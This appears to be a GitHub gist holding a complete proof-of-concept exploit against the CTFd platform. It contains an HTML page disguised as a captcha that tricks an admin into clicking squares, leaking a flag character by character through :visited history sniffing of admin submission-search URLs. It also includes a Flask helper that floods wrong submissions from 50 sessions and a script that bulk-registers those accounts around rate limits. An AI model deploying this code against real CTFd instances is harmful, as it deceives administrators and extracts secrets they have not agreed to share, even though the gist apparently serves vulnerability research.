Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Last active July 3, 2024 20:15
Show Gist options
  • Save JorianWoltjer/295ac5d8e7595a073116eba6f091506e to your computer and use it in GitHub Desktop.
Save JorianWoltjer/295ac5d8e7595a073116eba6f091506e to your computer and use it in GitHub Desktop.
<body>
<h1>CTFd Flag Leaker 2</h1>
<p>
Press the button below to get started, and each round, <strong>press the black squares</strong>.
<br />
Use the SKIP button if there are none.
</p>
<button id="start" onclick="start()">Click to START</button>
<p><strong>Flag</strong>: <span id="flag"></span></p>
<div class="captcha hidden">
<div id="grid" class="grid"></div>
</div>
<script>
const ALPHABET = "{}e3a@4ri1o0t7ns25$lcudpmhg6bfywkvxzjq89";
const TARGET = "http://localhost";
const HELPER = "http://localhost:5000";
let FLAG = "CTF{";
const grid = document.getElementById("grid");
const flag = document.getElementById("flag");
const queue = [];
let w;
async function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function clickHandler(c) {
return async () => {
FLAG += c;
// Flag should not contain double underscores, if so,
// the user clicked wildcard twice so the previous character was likely wrong
if (FLAG.endsWith("__")) {
FLAG = FLAG.slice(0, -3);
}
flag.textContent = FLAG;
// '}' marks the end of the flag, else, continue
if (c === "}") {
clearInterval(closeChecker);
w.close();
alert("Flag found: " + FLAG);
} else {
await reset();
}
};
}
function createBox({ url, c, className }) {
const box = document.createElement("div");
box.classList.add("box");
if (url) {
const a = document.createElement("a");
a.href = url;
a.rel = "nofollow";
box.appendChild(a);
}
const overlay = document.createElement("div");
overlay.classList.add("overlay");
if (className) overlay.classList.add(className);
overlay.onclick = clickHandler(c);
box.appendChild(overlay);
return box;
}
async function start() {
document.getElementById("start").disabled = true;
w = window.open("", "", "width=1,height=1,resizable=no");
await sleep(1000);
await visitURLs();
}
async function reset() {
grid.innerHTML = "";
await visitURLs();
}
async function visitURLs() {
// 1. Fill page 1 of submissions like 'CTF{1CTF{2CTF{3...' with 50 accounts
const flags = ALPHABET.split("").map((c) => FLAG + c);
await fetch(HELPER + "/submit?" + new URLSearchParams({ flag: flags.join(), n: 50 }), {
mode: "no-cors",
});
const startingFlag = FLAG;
for (const c of ALPHABET) {
if (FLAG !== startingFlag) return;
// 2. Visit URL
const params = { page: 2, field: "provided", q: FLAG + c };
const url = TARGET + "/admin/submissions?" + new URLSearchParams(params);
w.location = url;
await sleep(200);
if (FLAG !== startingFlag) return;
// 3. Add <a> to URL with unique :visited style
grid.appendChild(createBox({ url, c }));
}
// Last box is a SKIP button for when no black squares are found, meaning the wildcard '_'
grid.appendChild(createBox({ c: "_", className: "not-found" }));
}
const closeChecker = setInterval(() => {
if (w && w.closed) {
w = undefined;
alert("Do not close the window!");
location.reload();
}
}, 1000);
window.onbeforeunload = () => {
if (w) w.close();
};
</script>
<style>
.captcha {
background-color: black;
color: white;
border-radius: 4px;
padding: 4px;
max-width: 75%;
margin: auto;
}
.captcha:not(:has(.box)) {
display: none;
}
.grid {
padding: 8px;
background-color: white;
display: grid;
gap: 4px;
grid-template-columns: repeat(10, 1fr);
}
.box {
aspect-ratio: 1 / 1;
position: relative;
border: 1px solid lightgrey;
}
.box a {
display: block;
width: 100%;
height: 100%;
background-color: white;
}
.box a:visited {
background-color: rgb(46, 46, 46);
}
.box .overlay {
width: 100%;
height: 100%;
position: absolute;
top: 0;
transition: background-color 200ms;
display: flex;
align-items: center;
justify-content: center;
}
.box .overlay.not-found {
background-color: rgb(255, 0, 0, 1);
}
.box .overlay.not-found::after {
content: "SKIP";
}
</style>
</body>
import json
import grequests
from flask import Flask, request
from gevent import monkey
monkey.patch_all()
HOST = "http://localhost"
app = Flask(__name__)
sessions = []
def submit(challenge_id, flag, cookies, headers):
data = {
"challenge_id": challenge_id,
"submission": flag,
}
return grequests.post(HOST + "/api/v1/challenges/attempt", json=data, cookies=cookies, headers=headers)
def get_data(username):
with open(f"data/{username}.txt") as f:
return json.load(f)
@app.route('/submit')
def do_submits():
flag = request.args.get("flag")
n = int(request.args.get("n"))
if flag is None:
return "No flag provided", 400
if n is None:
return "No n provided", 400
if n > len(sessions):
return "n is too big", 400
print("Sending...")
print(list(grequests.imap(
submit(1, flag, data["cookies"], data["headers"]) for data in sessions[:n])
))
return "Done"
if __name__ == "__main__":
for i in range(50):
username = f"padding{i}"
sessions.append(get_data(username))
print("Loaded 50 sessions")
app.run(debug=False)
import requests
import json
import time
import re
import os
HOST = "http://localhost"
s = requests.Session()
def post_form(path, data):
r = s.get(HOST + path)
assert r.ok
nonce = re.search(r'name="nonce".*? value="([^"]+)"', r.text).group(1)
data["nonce"] = nonce
r = s.post(HOST + path, data=data)
assert r.ok
return r
def update_nonce(r):
nonce = re.search(r'csrfNonce\': "(.*?)"', r.text).group(1)
s.headers.update({
"Csrf-Token": nonce,
})
def register(username):
data = {
"name": username,
"email": username + "@example.com",
"password": username,
}
r = post_form("/register", data)
update_nonce(r)
return r
if __name__ == "__main__":
# SETUP (create and save 50 users to perform incorrect submissions with)
os.makedirs("data", exist_ok=True)
for i in range(50):
username = f"padding{i}"
print(f"Creating {username!r}...")
try:
register(username)
except AssertionError as e:
print(" waiting for rate limit...")
time.sleep(5)
register(username)
with open(f"data/{username}.txt", "w") as f:
json.dump({
"cookies": s.cookies.get_dict(),
"headers": dict(s.headers)
}, f)
s.cookies.clear()
s.headers.clear()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment